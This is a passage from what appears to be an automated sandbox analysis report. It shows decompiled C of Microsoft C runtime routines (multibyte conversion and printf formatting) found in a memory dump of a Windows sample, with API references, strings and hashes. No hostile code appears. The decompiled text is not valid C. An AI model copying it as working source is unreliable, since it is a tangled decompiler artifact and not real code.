					_t85 = E00425560(_t87,  *(_t115 - 8));
					_t119 = _t119 + 4;
					if(_t85 != 2) {
						_push(L"___mb_cur_max_l_func(locale) == 1 || ___mb_cur_max_l_func(locale) == 2");
						_push(0);
						_push(0x67);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\xmbtowc.c");
						_push(2);
						_t86 = L00427590();
						_t119 = _t119 + 0x14;
						if(_t86 == 1) {
							asm("int3");
						}
					}
				}
				if( *( *(_t115 + 0x14)) == 0) {
					__eflags =  *(_t115 - 8);
					if( *(_t115 - 8) != 0) {
						_t102 =  *( *((intOrPtr*)( *(_t115 - 8) + 4)) + ( *( *(_t115 + 0xc)) & 0x000000ff) + 0x1d) & 4;
						__eflags = _t102;
						 *(_t115 - 0x14) = _t102;
					} else {
						 *(_t115 - 0x14) =  *(E00424F10() + ( *( *(_t115 + 0xc)) & 0x000000ff) * 2) & 0x8000;
					}
					 *(_t115 - 4) =  *(_t115 - 0x14);
					__eflags =  *(_t115 - 4);
					if( *(_t115 - 4) == 0) {
						__eflags =  *(_t115 + 8);
						_t91 =  *(_t115 + 8);
						_t61 = MultiByteToWideChar( *(_t115 - 0xc), 9,  *(_t115 + 0xc), 1,  *(_t115 + 8), 0 |  *(_t115 + 8) != 0x00000000);
						__eflags = _t61;
						if(_t61 != 0) {
							_t62 = 1;
						} else {
							_t63 = L004256E0(_t91);
							 *_t63 = 0x2a;
							_t62 = _t63 | 0xffffffff;
						}
					} else {
						_t92 =  *(_t115 - 8);
						_t64 = E00425560( *(_t115 - 8),  *(_t115 - 8));
						_t121 = _t119 + 4;
						__eflags =  *((intOrPtr*)(_t115 + 0x10)) - _t64;
						if( *((intOrPtr*)(_t115 + 0x10)) >= _t64) {
							_t65 = E00425560(_t92,  *(_t115 - 8));
							_t122 = _t121 + 4;
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								_t105 =  *(_t115 + 0xc);
								__eflags = _t105[1];
								if(_t105[1] != 0) {
									L19:
									_t62 = E00425560(_t92,  *(_t115 - 8));
									L23:
									return _t62;
								}
								 *( *(_t115 + 0x14)) = 0;
								_t67 = L004256E0( *(_t115 + 0x14));
								 *_t67 = 0x2a;
								_t62 = _t67 | 0xffffffff;
								goto L23;
							}
							__eflags =  *(_t115 + 8);
							_t70 = E00425560( *(_t115 + 8),  *(_t115 - 8));
							_t122 = _t122 + 4;
							_t92 =  *(_t115 - 0xc);
							_t72 = MultiByteToWideChar( *(_t115 - 0xc), 9,  *(_t115 + 0xc), _t70,  *(_t115 + 8), 0 | __eflags != 0x00000000);
							__eflags = _t72;
							if(_t72 != 0) {
								goto L19;
							}
							goto L17;
						}
						 *( *(_t115 + 0x14)) =  *( *(_t115 + 0xc));
						_t62 = 0xfffffffe;
					}
					goto L23;
				}
				( *(_t115 + 0x14))[1] =  *( *(_t115 + 0xc));
				if(E00425560( *( *(_t115 + 0xc)),  *(_t115 - 8)) <= 1) {
					L7:
					 *( *(_t115 + 0x14)) = 0;
					_t79 = L004256E0( *(_t115 + 0x14));
					 *_t79 = 0x2a;
					_t62 = _t79 | 0xffffffff;
					goto L23;
				}
				_t99 =  *(_t115 + 8);
				if(MultiByteToWideChar( *(_t115 - 0xc), 9,  *(_t115 + 0x14), 2,  *(_t115 + 8), 0 |  *(_t115 + 8) != 0x00000000) != 0) {
					 *( *(_t115 + 0x14)) = 0;
					_t62 = E00425560(_t99,  *(_t115 - 8));
					goto L23;
				}
				goto L7;
			}

0x00420315
0x00420318
0x0042031c
0x00420321
0x00420327
0x0042032d
0x00420332
0x00420338
0x0042033a
0x0042033f
0x00420341
0x00420343
0x00420348
0x0042034a
0x0042034f
0x00420355
0x00420357
0x00420357
0x00420355
0x00420338
0x0042035e
0x004203d6
0x004203da
0x00420406
0x00420406
0x00420409
0x004203dc
0x004203f0
0x004203f0
0x0042040f
0x00420412
0x00420416
0x004204b9
0x004204c1
0x004204d1
0x004204d7
0x004204d9
0x004204eb
0x004204db
0x004204db
0x004204e0
0x004204e6
0x004204e6
0x0042041c
0x0042041c
0x00420420
0x00420425
0x00420428
0x0042042b
0x00420447
0x0042044c
0x0042044f
0x00420452
0x00420483
0x00420483
0x0042048a
0x0042048c
0x004204a7
0x004204ab
0x004204f0
0x004204f3
0x004204f3
0x00420491
0x00420497
0x0042049c
0x004204a2
0x00000000
0x004204a2
0x00420456
0x00420466
0x0042046b
0x00420475
0x00420479
0x0042047f
0x00420481
0x00000000
0x00000000
0x00000000
0x00420481
0x00420435
0x00420437
0x00420437
0x00000000
0x00420416
0x00420368
0x0042037a
0x004203a0
0x004203a3
0x004203a9
0x004203ae
0x004203b4
0x00000000
0x004203b4
0x00420386
0x0042039e
0x004203bf
0x004203c9
0x00000000
0x004203ce
0x00000000

APIs

____mb_cur_max_l_func.LIBCMTD ref: 0042031C

Part of subcall function 00425560: ____mb_cur_max_func.LIBCMTD ref: 0042556C

____mb_cur_max_l_func.LIBCMTD ref: 0042032D
____mb_cur_max_l_func.LIBCMTD ref: 0042036F
MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000002,00000000,00000000), ref: 00420396
____mb_cur_max_l_func.LIBCMTD ref: 004203C9
___pctype_func.LIBCMTD ref: 004203DC
____mb_cur_max_l_func.LIBCMTD ref: 00420420

Strings

___mb_cur_max_l_func(locale) == 1 || ___mb_cur_max_l_func(locale) == 2, xrefs: 0042033A
f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c, xrefs: 00420343

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: ____mb_cur_max_l_func$ByteCharMultiWide____mb_cur_max_func___pctype_func
String ID: ___mb_cur_max_l_func(locale) == 1 || ___mb_cur_max_l_func(locale) == 2$f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c
API String ID: 435144347-3640276257
Opcode ID: 2a192d35c7e1850f56b5ac4d874aa0e9e78749f92ded09c700d13feb0cc2e134
Instruction ID: 626d92be2fff32221d46139658972097b76e30fec141a8d3ea259d7fc5272f89
Opcode Fuzzy Hash: 2a192d35c7e1850f56b5ac4d874aa0e9e78749f92ded09c700d13feb0cc2e134
Instruction Fuzzy Hash: 595104B4B00154EFDB00DF64E845BAF3BF1AF45308F54815AF9069B392E279EA40CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00429EF4, Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00429EF4(void* __eflags) {
				intOrPtr _t482;
				signed int _t484;
				signed int _t487;
				void* _t492;
				signed int _t494;
				void* _t502;
				void* _t520;
				signed int _t524;
				void* _t534;
				signed int _t567;
				signed int _t573;
				void* _t594;
				void* _t595;
				signed int _t596;
				void* _t598;
				void* _t599;

				L0:
				while(1) {
					L0:
					_t482 = E00429820(_t596 + 0x14);
					_t599 = _t598 + 4;
					 *((intOrPtr*)(_t596 - 0x474)) = _t482;
					if( *((intOrPtr*)(_t596 - 0x474)) == 0) {
						goto L76;
					}
					L75:
					__ecx =  *(__ebp - 0x474);
					__eflags =  *(__ecx + 4);
					if( *(__ecx + 4) != 0) {
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						__eflags =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L80:
						while(1) {
							L187:
							__eflags =  *(_t596 - 0x28);
							if( *(_t596 - 0x28) != 0) {
								goto L212;
							}
							L188:
							__eflags =  *(_t596 - 0x10) & 0x00000040;
							if(( *(_t596 - 0x10) & 0x00000040) != 0) {
								__eflags =  *(_t596 - 0x10) & 0x00000100;
								if(( *(_t596 - 0x10) & 0x00000100) == 0) {
									__eflags =  *(_t596 - 0x10) & 0x00000001;
									if(( *(_t596 - 0x10) & 0x00000001) == 0) {
										__eflags =  *(_t596 - 0x10) & 0x00000002;
										if(( *(_t596 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t596 - 0x14)) = 0x20;
											 *(_t596 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t596 - 0x14)) = 0x2b;
										 *(_t596 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t596 - 0x14)) = 0x2d;
									 *(_t596 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t596 - 0x4ac)) =  *((intOrPtr*)(_t596 - 0x18)) -  *(_t596 - 0x24) -  *(_t596 - 0x1c);
							__eflags =  *(_t596 - 0x10) & 0x0000000c;
							if(__eflags == 0) {
								E004297E0(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
							}
							E0042AA50( *(_t596 - 0x1c), __eflags, _t596 - 0x14,  *(_t596 - 0x1c),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
							_t599 = _t599 + 0x10;
							__eflags =  *(_t596 - 0x10) & 0x00000008;
							if(( *(_t596 - 0x10) & 0x00000008) != 0) {
								__eflags =  *(_t596 - 0x10) & 0x00000004;
								if(( *(_t596 - 0x10) & 0x00000004) == 0) {
									E004297E0(0x30,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
									_t599 = _t599 + 0x10;
								}
							}
							__eflags =  *(_t596 - 0xc);
							if(__eflags != 0) {
								L208:
								E0042AA50( *(_t596 - 0x24), __eflags,  *(_t596 - 4),  *(_t596 - 0x24),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
								goto L209;
							} else {
								L201:
								__eflags =  *(_t596 - 0x24);
								if(__eflags <= 0) {
									goto L208;
								}
								L202:
								 *(_t596 - 0x4b0) =  *(_t596 - 4);
								 *(_t596 - 0x4b4) =  *(_t596 - 0x24);
								while(1) {
									L203:
									 *(_t596 - 0x4b4) =  *(_t596 - 0x4b4) - 1;
									__eflags =  *(_t596 - 0x4b4);
									if( *(_t596 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t520 = E00423790(_t596 - 0x40);
									_t524 = E00439180(_t596 - 0x458,  *(_t596 - 0x4b0),  *((intOrPtr*)( *((intOrPtr*)(E00423790(_t596 - 0x40))) + 0xac)), _t520);
									_t599 = _t599 + 0x10;
									 *(_t596 - 0x4b8) = _t524;
									__eflags =  *(_t596 - 0x4b8);
									if( *(_t596 - 0x4b8) > 0) {
										L206:
										E00429780( *(_t596 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0xc;
										 *(_t596 - 0x4b0) =  *(_t596 - 0x4b0) +  *(_t596 - 0x4b8);
										continue;
									}
									L205:
									 *(_t596 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								__eflags =  *(_t596 - 0x44c);
								if( *(_t596 - 0x44c) >= 0) {
									__eflags =  *(_t596 - 0x10) & 0x00000004;
									if(( *(_t596 - 0x10) & 0x00000004) != 0) {
										E004297E0(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0x10;
									}
								}
							}
							L212:
							__eflags =  *(_t596 - 0x20);
							if( *(_t596 - 0x20) != 0) {
								L00422680( *(_t596 - 0x20), 2);
								_t599 = _t599 + 8;
								 *(_t596 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t596 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc))));
								_t535 =  *(_t596 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t596 + 0xc)) =  *((intOrPtr*)(_t596 + 0xc)) + 2;
								if(( *(_t596 - 0x454) & 0x0000ffff) == 0 ||  *(_t596 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t596 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t596 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t596 - 0x4d8) = 0;
									} else {
										 *(_t596 - 0x4d8) =  *(( *(_t596 - 0x454) & 0x0000ffff) + L"cur_max == 2") & 0xf;
									}
								}
								L7:
								 *(_t596 - 0x450) =  *(_t596 - 0x4d8);
								_t573 =  *(_t596 - 0x450) * 9;
								_t494 =  *(_t596 - 0x45c);
								_t543 = ( *(_t573 + _t494 + 0x4092e8) & 0x000000ff) >> 4;
								 *(_t596 - 0x45c) = ( *(_t573 + _t494 + 0x4092e8) & 0x000000ff) >> 4;
								if( *(_t596 - 0x45c) != 8) {
									L16:
									 *(_t596 - 0x4e0) =  *(_t596 - 0x45c);
									__eflags =  *(_t596 - 0x4e0) - 7;
									if( *(_t596 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t596 - 0x4e0) * 4 +  &M0042A94C))) {
										case 0:
											L18:
											 *(_t596 - 0xc) = 1;
											E00429780( *(_t596 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
											_t599 = _t599 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t59 =  *(__ebp - 0x4e4) + 0x42a984; // 0x498d04
											__ecx =  *_t59 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0042A96C))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t83;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00429820(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t94;
												 *(__ebp - 0x30) = __ecx + _t94;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00429820(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t102 =  *(__ebp - 0x4e8) + 0x42a9ac; // 0xa1c19003
											__ecx =  *_t102 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0042A998))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															__eflags =  *(_t596 - 0x28);
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													__eflags =  *(_t596 - 0x28);
													if( *(_t596 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t143 =  *(__ebp - 0x4ec) + 0x42aa18; // 0x55ff8b0d
											__eax =  *_t143 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0042A9DC))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L81:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L83;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													goto L0;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L00421A30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E00423790(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push(__eax);
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x44ba08; // 0xae625e32
															_push(__edx);
															__imp__DecodePointer();
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	__eax = E00423790(__ebp - 0x40);
																	_push(__eax);
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x44ba14; // 0xae625e32
																	_push(__edx);
																	__imp__DecodePointer();
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E00423790(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44ba10; // 0xae625e32
																	_push(__eax);
																	__imp__DecodePointer();
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
															goto L187;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
